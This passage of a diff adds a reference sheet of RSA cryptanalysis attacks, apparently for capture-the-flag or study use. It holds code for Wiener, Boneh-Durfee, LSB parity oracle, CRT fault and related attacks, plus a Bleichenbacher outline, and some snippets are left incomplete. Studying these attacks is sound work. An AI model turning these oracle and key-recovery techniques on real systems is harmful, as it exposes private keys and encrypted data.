+ """Recover message when same message has short random padding."""
145
+ R.<x, y> = PolynomialRing(Zmod(n))
146
+
147
+ # m1 = m * 2^pad_bits + r1, m2 = m * 2^pad_bits + r2
148
+ # Let y = r1 - r2 (difference of padding)
149
+ g1 = x^e - c1
150
+ g2 = (x + y)^e - c2
151
+
152
+ # Resultant eliminates x, leaving univariate in y
153
+ res = g1.resultant(g2, x)
154
+
155
+ Ry.<yy> = PolynomialRing(Zmod(n))
156
+ res_uni = Ry(res.polynomial(y))
157
+ roots = res_uni.small_roots(X=2^pad_bits)
158
+
159
+ if roots:
160
+ diff = int(roots[0])
161
+ # Now solve for x with known y = diff
162
+ # ...
163
+ ```
164
+
165
+ ---
166
+
167
+ ## 3. WIENER'S ATTACK — COMPLETE IMPLEMENTATION
168
+
169
+ ```python
170
+ def wiener_full(e, n):
171
+ """Full Wiener's attack implementation with validation."""
172
+ from gmpy2 import isqrt, is_square, mpz
173
+
174
+ cf = []
175
+ a, b = e, n
176
+ while b:
177
+ cf.append(a // b)
178
+ a, b = b, a % b
179
+
180
+ # Generate convergents
181
+ p_prev, p_curr = 0, 1
182
+ q_prev, q_curr = 1, 0
183
+
184
+ for a_i in cf:
185
+ p_prev, p_curr = p_curr, a_i * p_curr + p_prev
186
+ q_prev, q_curr = q_curr, a_i * q_curr + q_prev
187
+
188
+ k, d = p_curr, q_curr
189
+
190
+ if k == 0:
191
+ continue
192
+
193
+ # Check if (e*d - 1) / k is integer (= phi(n))
194
+ if (e * d - 1) % k != 0:
195
+ continue
196
+
197
+ phi = (e * d - 1) // k
198
+
199
+ # p + q = n - phi + 1
200
+ # p * q = n
201
+ s = n - phi + 1
202
+ discriminant = mpz(s * s - 4 * n)
203
+
204
+ if discriminant < 0:
205
+ continue
206
+
207
+ if is_square(discriminant):
208
+ sqrt_disc = isqrt(discriminant)
209
+ p = (s + sqrt_disc) // 2
210
+ q = (s - sqrt_disc) // 2
211
+ if p * q == n:
212
+ return d, int(p), int(q)
213
+
214
+ return None
215
+ ```
216
+
217
+ ---
218
+
219
+ ## 4. BONEH-DURFEE — SAGE IMPLEMENTATION
220
+
221
+ ```python
222
+ # SageMath
223
+ def boneh_durfee(n, e, delta=0.292, m=4):
224
+ """
225
+ Boneh-Durfee attack for small d: d < n^delta.
226
+ Based on: e*d = 1 + k*(n+1-p-q) = 1 + k*(n+1-s) where s = p+q.
227
+ Rewrite: 1 + k*(n+1) ≡ k*s (mod e)
228
+ """
229
+ A = Integer((n + 1) // 2)
230
+ P.<x, y> = PolynomialRing(ZZ)
231
+ f = 1 + x * (A + y)
232
+
233
+ X = Integer(2 * floor(n^delta))
234
+ Y = Integer(floor(n^0.5))
235
+
236
+ # Build lattice for Coppersmith-type method
237
+ t = m + 1
238
+ shifts = []
239
+
240
+ for k in range(m + 1):
241
+ for i in range(m - k + 1):
242
+ g = x^i * f^k * e^(m - k)
243
+ shifts.append(g)
244
+
245
+ for k in range(1, t + 1):
246
+ for i in range(k):
247
+ g = y^i * f^k * e^(m - k)
248
+ shifts.append(g)
249
+
250
+ # Construct lattice matrix and apply LLL
251
+ # ... (full lattice construction omitted for brevity)
252
+ # Use standard Coppersmith multivariate implementation
253
+
254
+ # After LLL: extract small root (x0, y0)
255
+ # k = x0, s = 2*(A + y0)
256
+ # p = (s + sqrt(s^2 - 4n)) / 2
257
+ ```
258
+
259
+ ---
260
+
261
+ ## 5. LSB ORACLE ATTACK — COMPLETE
262
+
263
+ ```python
264
+ from gmpy2 import mpz, invert
265
+ from decimal import Decimal, getcontext
266
+
267
+ def lsb_oracle_full(n, e, c, oracle):
268
+ """
269
+ Full LSB oracle attack.
270
+ oracle(c) → returns LSB of decrypt(c), i.e., m mod 2.
271
+ """
272
+ getcontext().prec = n.bit_length() + 100
273
+
274
+ lo = Decimal(0)
275
+ hi = Decimal(n)
276
+
277
+ two_e = pow(2, e, n)
278
+ multiplier = mpz(1)
279
+
280
+ for i in range(n.bit_length()):
281
+ multiplier = (multiplier * two_e) % n
282
+ test_c = (c * multiplier) % n
283
+
284
+ lsb = oracle(int(test_c))
285
+
286
+ mid = (lo + hi) / 2
287
+ if lsb == 0:
288
+ hi = mid
289
+ else:
290
+ lo = mid
291
+
292
+ return int(hi)
293
+ ```
294
+
295
+ ---
296
+
297
+ ## 6. BLEICHENBACHER ATTACK — ALGORITHM OUTLINE
298
+
299
+ ```
300
+ Input: oracle O(c) = 1 if PKCS-conformant, 0 otherwise
301
+ n, e (public key), c₀ (target ciphertext)
302
+
303
+ Step 1: Blinding
304
+ Find s₀ such that O(c₀ · s₀ᵉ mod n) = 1
305
+ Set c ← c₀ · s₀ᵉ mod n
306
+
307
+ Step 2a: Starting search
308
+ Find smallest s₁ ≥ ⌈n/(3B)⌉ such that O(c · s₁ᵉ mod n) = 1
309
+ where B = 2^(8*(k-2)), k = byte length of n
310
+
311
+ Step 2b: Searching with one interval
312
+ If M = {[a, b]}, find smallest s ≥ 2(b·sᵢ₋₁ - 2B)/n
313
+ such that O(c · sᵉ mod n) = 1
314
+
315
+ Step 3: Narrowing intervals
316
+ For each (s, [a,b]) in M × {s}:
317
+ r_min = ⌈(a·s - 3B + 1) / n⌉
318
+ r_max = ⌊(b·s - 2B) / n⌋
319
+ For r in [r_min, r_max]:
320
+ Update interval: [max(a, ⌈(2B + r·n)/s⌉), min(b, ⌊(3B - 1 + r·n)/s⌋)]
321
+
322
+ Step 4: Check
323
+ If M = {[a, a]}: m = a (done!)
324
+ Else: go to Step 2
325
+ ```
326
+
327
+ ---
328
+
329
+ ## 7. RSA-CRT FAULT — MATHEMATICAL DERIVATION
330
+
331
+ ```
332
+ RSA-CRT computation:
333
+ sp = m^d mod p (computed correctly)
334
+ sq = m^d mod q (fault injected here → s̃q ≠ sq)
335
+
336
+ Correct: s = CRT(sp, sq) = sp + p · (((sq - sp) · p⁻¹) mod q)
337
+ Faulty: s̃ = CRT(sp, s̃q) = sp + p · (((s̃q - sp) · p⁻¹) mod q)
338
+
339
+ Verification:
340
+ s^e ≡ m (mod p) ← correct (sp was correct)
341
+ s̃^e ≡ m (mod p) ← correct (sp was correct)
342
+
343
+ s^e ≡ m (mod q) ← correct
344
+ s̃^e ≢ m (mod q) ← wrong (s̃q was faulty)
345
+
346
+ Therefore:
347
+ s̃^e - m ≡ 0 (mod p) but s̃^e - m ≢ 0 (mod q)
348
+
349
+ ⟹ gcd(s̃^e - m, n) = p
350
+ ```
351
+
352
+ ```python
353
+ from math import gcd
354
+
355
+ def rsa_crt_factor(n, e, m, faulty_sig):
356
+ """Factor n from a single faulty CRT signature."""
357
+ diff = (pow(faulty_sig, e, n) - m) % n
358
+ p = gcd(diff, n)
359
+ if 1 < p < n:
360
+ return p, n // p
361
+ return None
362
+ ```
363
+
364
+ ---
365
+
366
+ ## 8. MULTI-PRIME RSA
367
+
368
+ When n = p · q · r (three or more primes):
369
+
370
+ ```python
371
+ from sympy import factorint
372
+ from functools import reduce
373
+
374
+ def multi_prime_decrypt(n, e, c):
375
+ factors = factorint(n)
376
+ primes = list(factors.keys())
377
+
378
+ # Euler's totient for multi-prime
379
+ phi = reduce(lambda a, p: a * (p - 1), primes, 1)
380
+
381
+ d = pow(e, -1, phi)
382
+ m = pow(c, d, n)
383
+ return m
384
+ ```
385
+
386
+ ---
387
+
388
+ ## 9. KNOWN e·d → FACTOR n
389
+
390
+ ```python
391
+ from random import randint
392
+ from math import gcd
393
+
394
+ def factor_from_ed(n, e, d):
395
+ """Factor n given e and d such that e·d ≡ 1 (mod φ(n))."""
396
+ k = e * d - 1
397
+
398
+ while True:
399
+ g = randint(2, n - 2)
400
+ t = k
401
+
402
+ while t % 2 == 0:
403
+ t //= 2
404
+ x = pow(g, t, n)
405
+
406
+ if x > 1 and gcd(x - 1, n) > 1:
407
+ p = gcd(x - 1, n)
408
+ if p != n:
409
+ return p, n // p
410
+ ```
411
+
412
+ ---
413
+
414
+ ## 10. ATTACK CONDITIONS SUMMARY
415
+
416
+ | Attack | Condition | Complexity | Success Rate |
417
+ |---|---|---|---|
418
+ | Factordb | n is known composite | O(1) lookup | Depends on database |
419
+ | Trial division | n has small factor | O(√n) worst case | Good for n < 2^64 |
420
+ | Pollard rho | n has factor < n^(1/4) | O(n^(1/4)) | Probabilistic |
421
+ | Pollard p-1 | p-1 is B-smooth | O(B log B) | Depends on smoothness |
422
+ | Fermat | \|p-q\| < n^(1/4) | O(n^(1/4) / \|p-q\|) | Good when p ≈ q |
423
+ | Cube root | m < n^(1/e) | O(1) | Deterministic |
424
+ | Hastad | e copies, e different n | O(e log n) | Deterministic |
425
+ | Wiener | d < n^(1/4)/3 | O(log n) | Deterministic |
426
+ | Boneh-Durfee | d < n^0.292 | Polynomial | High |
427
+ | Coppersmith | Small unknown portion | Polynomial | Depends on bounds |
428
+ | Common modulus | Same n, gcd(e₁,e₂)=1 | O(log n) | Deterministic |
429
+ | Batch GCD | Shared factor among n's | O(n log² n) | Depends on key gen |
430
+ | LSB oracle | Parity oracle access | O(log n) queries | Deterministic |
431
+ | Bleichenbacher | PKCS#1 padding oracle | O(2^20) queries avg | High |
432
+ | CRT fault | Single faulty signature | O(1) | Deterministic |